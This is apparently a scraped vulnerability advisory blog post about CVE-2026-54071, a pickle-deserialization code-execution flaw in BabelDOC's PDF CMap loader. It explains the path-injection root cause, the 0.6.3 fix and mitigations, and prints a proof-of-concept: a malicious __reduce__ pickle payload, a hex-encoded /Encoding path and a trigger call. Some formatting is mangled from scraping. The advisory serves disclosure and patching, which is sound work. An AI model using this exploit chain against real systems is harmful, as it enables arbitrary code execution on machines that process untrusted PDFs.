Listen to this Post
How CVE-2026-54071 Works
This vulnerability resides in BabelDOC’s vendored PDF parser, specifically within the `CMapDB._load_data()` method in babeldoc/pdfminer/cmapdb.py. The method is responsible for loading CMap (Character Map) files, which are used for character encoding in PDF fonts. The core issue is that `_load_data()` performs unsafe deserialization of Python pickle data from a filesystem path that is partially controlled by the PDF file being processed.
The attack exploits a combination of two weaknesses. First, the PDF specification allows for hex-encoding of name objects using the `xx` syntax. When a PDF parser like `pdfminer` encounters a name like /2Ftmp2Fattacker2Fevil, it decodes `2F` to a forward slash (/), resulting in the string /tmp/attacker/evil. Second, the Python `os.path.join()` function, when given an absolute path as its second argument, discards all preceding path components. In _load_data(), the user-controlled CMap name is appended with `.pickle.gz` and passed to `os.path.join()` along with trusted directories like /usr/share/pdfminer/. This allows an attacker to inject an absolute path, causing `os.path.join()` to ignore the trusted directory and use the attacker-supplied absolute path directly.
The data flow from a malicious PDF to the vulnerable code is extensive and automatic. When BabelDOC processes a PDF, it parses font resources. For a Type0 CID font, it will read the `/Encoding` or `/CMapName` entry from the PDF. This value, after minimal sanitization that only strips null bytes (\0), is passed down the call stack to `CMapDB.get_cmap()` and finally to _load_data(). Here, the attacker-controlled string is used to construct a file path and is then opened with `gzip.open()` and deserialized with pickle.loads(). Because pickle deserialization in Python can execute arbitrary code during the unpickling process (via the `__reduce__` method), an attacker who can place a malicious `.pickle.gz` file at a predictable location (e.g., /tmp/) can achieve arbitrary code execution when a victim processes the crafted PDF.
DailyCVE Form
Platform: BabelDOC
Version: <=0.6.2
Vulnerability: Code Execution
Severity: High
date: 2026-07-10
Prediction: Patch Available
What Undercode Say
The vulnerability is triggered via path injection in PDF `CMapName` parameters, leading to unsafe deserialization.
Exploit Setup and Execution
The following commands and scripts demonstrate the exploitation process. The attacker first creates a malicious pickle payload and places it in a world-writable directory. Then, a PDF is crafted to point to this payload.
1. Create the Malicious Pickle Payload
This Python script generates a `.pickle.gz` file that, when deserialized, will execute a command (e.g., writing a proof file).
import gzip
import pathlib
import pickle
PROOF_FILE = pathlib.Path("/tmp/babeldoc_cmap_rce_proof.txt")
CMAP_STAGING_DIR = pathlib.Path("/tmp/babeldoc-cmap-poc")
MALICIOUS_PICKLE = CMAP_STAGING_DIR / "malicious.pickle.gz"
class MaliciousPayload:
def <strong>reduce</strong>(self):
This command will run upon deserialization
return (pathlib.Path(PROOF_FILE).write_text, ("RCE_CONFIRMED",))
CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)
with gzip.open(MALICIOUS_PICKLE, "wb") as fh:
pickle.dump(MaliciousPayload(), fh)
Source: PoC script from the .
2. Craft the Malicious PDF
A minimal PDF is created. The key is the `/Encoding` field in the font dictionary, which contains the hex-encoded absolute path to the malicious pickle file.
Hex-encoded path: /tmp/babeldoc-cmap-poc/malicious encoding_name = b"/2Ftmp2Fbabeldoc-cmap-poc2Fmalicious" ... (PDF structure with a Type0 font referencing encoding_name) ... Full PDF generation code is available in the original advisory's poc.py
Source: PoC script from the .
3. Trigger the Vulnerability
The victim processes the malicious PDF using BabelDOC’s `extract_text` function.
from babeldoc.pdfminer.high_level import extract_text
This call will trigger the deserialization of the malicious pickle
try:
extract_text("/path/to/malicious.pdf")
except TypeError:
Expected exception after payload execution
pass
Source: PoC script from the .
4. Verify Exploitation
After processing the PDF, the proof file should exist, confirming code execution.
cat /tmp/babeldoc_cmap_rce_proof.txt Output: RCE_CONFIRMED
Source: PoC script from the .
Exploit:
The exploit chain is as follows:
- An attacker places a malicious `.pickle.gz` file in a predictable location (e.g.,
/tmp/). - A PDF is crafted with a `/Encoding` name that is hex-encoded to an absolute path pointing to the malicious file (e.g.,
/2Ftmp2Fmalicious). - When BabelDOC processes the PDF, it decodes the name to
/tmp/malicious.
4. `os.path.join()` ignores the trusted CMap directory and uses the absolute path/tmp/malicious.pickle.gz. - The file is opened and deserialized with
pickle.loads(), executing the attacker’s code.
Protection:
The vulnerability is fixed in BabelDOC version 0.6.3. The fix implements a multi-layered defense:
Allowlisting: The CMap loader now only loads files that are in a pinned manifest of known, bundled CMap filenames.
Containment Check: It verifies that the resolved path is within the bundled `runtime/data/cmap` directory.
Integrity Check: It performs a byte-for-byte SHA-256 hash and size check against the pinned manifest before decompression or deserialization.
Removal of External Path: The legacy `CMAP_PATH` environment variable, which could be used to add external search paths, is removed.
Mitigation for versions < 0.6.3:
Do not set the `CMAP_PATH` environment variable.
Run BabelDOC with an account that lacks write permissions to directories it reads CMap data from.
Only process PDFs from trusted sources.
Impact:
Arbitrary Code Execution: An attacker can execute arbitrary Python code with the privileges of the BabelDOC process.
Full System Compromise: This can lead to a complete breach of confidentiality, integrity, and availability of the affected system and its data.
Wide Attack Surface: Any user or automated pipeline that processes untrusted PDFs with BabelDOC versions prior to 0.6.3 is vulnerable.
Lateral Movement: In multi-user environments, the attack could be used for lateral movement or privilege escalation.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

